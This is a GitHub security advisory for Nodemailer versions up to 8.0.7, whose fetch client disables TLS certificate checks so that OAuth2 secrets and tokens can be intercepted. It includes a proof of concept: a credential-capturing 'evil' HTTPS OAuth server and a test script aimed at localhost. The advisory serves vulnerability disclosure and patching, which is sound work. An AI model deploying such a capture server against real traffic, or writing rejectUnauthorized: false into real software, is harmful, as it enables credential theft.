Skip to content

Nodemailer: Improper TLS Certificate Validation in OAuth2 Token Fetch Enables Credential Interception

High severity GitHub Reviewed Published May 26, 2026 in nodemailer/nodemailer • Updated Oct 5, 2026

Package

npm nodemailer (npm)

Affected versions

<= 8.0.7

Patched versions

8.0.8

Description

Summary

Nodemailer disables TLS certificate verification in its internal HTTPS fetch client through the use of rejectUnauthorized: false inside lib/fetch/index.js.

As a result, OAuth2 token requests trust invalid or self-signed HTTPS certificates and transmit sensitive OAuth credentials over connections that should fail TLS validation.

An attacker in a machine-in-the-middle position can intercept OAuth2 credential exchanges and capture:

  • OAuth client_secret
  • refresh_token
  • access tokens

The issue was verified through runtime testing using a self-signed HTTPS OAuth endpoint.

Details

Root Cause

The issue originates from the internal HTTPS fetch implementation used by Nodemailer for OAuth2 token retrieval and related outbound HTTPS requests.

Inside:

lib/fetch/index.js

the request options contain:

rejectUnauthorized: false

This disables TLS peer certificate verification globally for the internal HTTPS client unless explicitly overridden through optional TLS configuration.

As a result:

  • self-signed certificates are trusted
  • invalid CA chains are accepted
  • hostname validation is bypassed
  • attacker-controlled HTTPS endpoints are treated as trusted

This violates expected HTTPS security guarantees.

Vulnerable Flow

The vulnerable execution chain is:

OAuth2 Transport
↓
XOAuth2 token generation
↓
Internal HTTPS fetch client
↓
HTTPS request with rejectUnauthorized:false
↓
Attacker-controlled/self-signed endpoint trusted
↓
OAuth credentials transmitted

PoC

Environment

Mail API (app/server.js)

const express = require("express");
const nodemailer = require("nodemailer");
require("dotenv").config();

const app = express();

app.use(express.json());

const transporter = nodemailer.createTransport({
    host: process.env.SMTP_HOST,
    port: process.env.SMTP_PORT,
    secure: false,
    auth: {
        user: process.env.SMTP_USER,
        pass: process.env.SMTP_PASS
    }
});

app.post("/send", async (req, res) => {
    try {
        const { to, subject, text, html } = req.body;

        const info = await transporter.sendMail({
            from: `"Mailer" <${process.env.SMTP_USER}>`,
            to,
            subject,
            text,
            html
        });

        res.json({
            success: true,
            messageId: info.messageId
        });

    } catch (err) {
        console.error(err);
        res.status(500).json({
            success: false,
            error: err.message
        });
    }
});

app.listen(process.env.PORT, () => {
    console.log(`Mailer running on port ${process.env.PORT}`);
});

Malicious HTTPS OAuth Server (poc/evil-oauth.js)

const https = require('https');
const fs = require('fs');

https.createServer({
    key: fs.readFileSync('./key.pem'),
    cert: fs.readFileSync('./cert.pem')
}, (req, res) => {

    console.log('\n==== REQUEST INTERCEPTED ====');
    console.log(req.method, req.url);

    let body = '';

    req.on('data', chunk => {
        body += chunk;
    });

    req.on('end', () => {

        console.log('\nPOST BODY:');
        console.log(body);

        res.writeHead(200, {
            'Content-Type': 'application/json'
        });

        res.end(JSON.stringify({
            access_token: 'attacker_token',
            expires_in: 3600
        }));
    });

}).listen(8443, () => {
    console.log('Malicious HTTPS OAuth server listening on 8443');
});

Nodemailer OAuth2 Test (test.js)

const nodemailer = require('./');

const transporter = nodemailer.createTransport({
    service: 'gmail',

    auth: {
        type: 'OAuth2',

        user: 'redacted@example.com',

        clientId: 'CLIENT_ID_REDACTED',
        clientSecret: 'CLIENT_SECRET_REDACTED',

        refreshToken: 'REFRESH_TOKEN_REDACTED',

        accessUrl: 'https://localhost:8443/token'
    }
});

transporter.sendMail({
    from: 'redacted@example.com',
    to: 'redacted@example.com',
    subject: 'PoC',
    text: 'test'

}, (err, info) => {

    console.log('\n==== NODEMAILER RESULT ====');

    if (err) {
        console.error(err);
    } else {
        console.log(info);
    }
});

Steps to Reproduce

  • Start malicious HTTPS OAuth server:
  • node poc/evil-oauth.js
  • Run Nodemailer OAuth2 test:
  • node test.js
  • Observe intercepted OAuth2 request body on the malicious HTTPS server.

PIC
image

Impact

  • OAuth credential theft
  • unauthorized email access
  • persistent token abuse
  • unauthorized mail sending
  • mailbox compromise
  • interception/tampering of OAuth responses

The issue effectively downgrades HTTPS security protections for sensitive OAuth credential exchanges.

References

@andris9 andris9 published to nodemailer/nodemailer May 26, 2026
Published to the GitHub Advisory Database Jun 15, 2026
Reviewed Jun 15, 2026
Last updated Oct 5, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity High
Attack Requirements Present
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality High
Integrity Low
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(8th percentile)

Weaknesses

Improper Certificate Validation

The product does not validate, or incorrectly validates, a certificate. Learn more on MITRE.

CVE ID

CVE-2026-82662

GHSA ID

GHSA-r7g4-qg5f-qqm2

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.